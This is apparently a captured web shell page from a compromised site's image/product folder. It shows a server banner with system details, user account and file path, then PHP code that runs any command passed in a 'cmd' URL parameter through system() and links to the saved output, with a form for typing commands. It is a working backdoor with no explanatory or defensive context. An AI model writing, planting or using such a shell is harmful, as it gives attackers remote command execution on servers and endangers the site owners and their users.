System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)

Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product

[Back to List]
<?php
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    $out_file = 'output_' . md5($cmd) . '.txt';
    system("$cmd > $out_file 2>&1");
    echo "Command executed. Output saved to: <a href='$out_file'>$out_file</a>";
}
?>
<form>
    <input type="text" name="cmd" style="width:80%">
    <input type="submit">
</form>